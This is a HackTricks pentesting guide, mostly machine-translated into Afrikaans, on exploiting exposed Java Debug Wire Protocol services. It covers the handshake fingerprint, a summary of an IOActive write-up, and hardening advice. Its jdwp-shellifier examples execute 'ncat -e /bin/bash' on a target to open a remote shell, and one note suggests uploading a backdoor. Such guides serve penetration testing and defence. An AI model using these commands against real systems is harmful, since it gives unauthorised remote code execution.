hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

6.6 KiB

Pentesting JDWP - Java Debug Wire Protocol

{% hint style="success" %} Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Exploiting

JDWP-uitbuiting hang af van die protokol se gebrek aan outentisering en versleuteling. Dit word algemeen op poort 8000 gevind, maar ander poorte is moontlik. Die aanvanklike verbinding word gemaak deur 'n "JDWP-Handshake" na die teikenpoort te stuur. As 'n JDWP-diens aktief is, antwoord dit met dieselfde string, wat sy teenwoordigheid bevestig. Hierdie handshake dien as 'n vingerafdrukmetode om JDWP-dienste op die netwerk te identifiseer.

In terme van prosesidentifikasie, kan die soek na die string "jdwk" in Java prosesse 'n aktiewe JDWP-sessie aandui.

Die gereedskap van keuse is jdwp-shellifier. Jy kan dit met verskillende parameters gebruik:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' make the exploit more stabiel. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details

This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.

  1. JDWP Oorsig:
  • Dit is 'n pakkie-gebaseerde netwerk-binary protokol, hoofsaaklik sinchronies.
  • Dit ontbreek outentikasie en versleuteling, wat dit kwesbaar maak wanneer dit blootgestel word aan vyandige netwerke.
  1. JDWP Handdruk:
  • 'n Eenvoudige handdrukproses word gebruik om kommunikasie te begin. 'n 14-karakter ASCII-string “JDWP-Handshake” word tussen die Debugger (klient) en die Debuggee (bediener) uitgewissel.
  1. JDWP Kommunikasie:
  • Boodskappe het 'n eenvoudige struktuur met velde soos Lengte, Id, Vlag, en CommandSet.
  • CommandSet waardes wissel van 0x40 tot 0x80, wat verskillende aksies en gebeurtenisse verteenwoordig.
  1. Eksploitering:
  • JDWP laat die laai en aanroep van arbitrêre klasse en bytecode toe, wat sekuriteitsrisiko's inhou.
  • Die artikel beskryf 'n eksploitering proses in vyf stappe, wat die verkryging van Java Runtime verwysings, die instelling van breekpunte, en die aanroep van metodes insluit.
  1. Regte Lewe Eksploitering:
  • Ten spyte van potensiële firewall beskermings, is JDWP dienste ontdekbaar en eksploteerbaar in werklike scenario's, soos gedemonstreer deur soektogte op platforms soos ShodanHQ en GitHub.
  • Die eksploit skrip is getoets teen verskeie JDK weergawes en is platform-onafhanklik, wat betroubare Remote Code Execution (RCE) bied.
  1. Sekuriteitsimplikasies:
  • Die teenwoordigheid van oop JDWP dienste op die internet beklemtoon die behoefte aan gereelde sekuriteitshersienings, die deaktivering van debug funksies in produksie, en behoorlike firewall konfigurasies.

References:

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}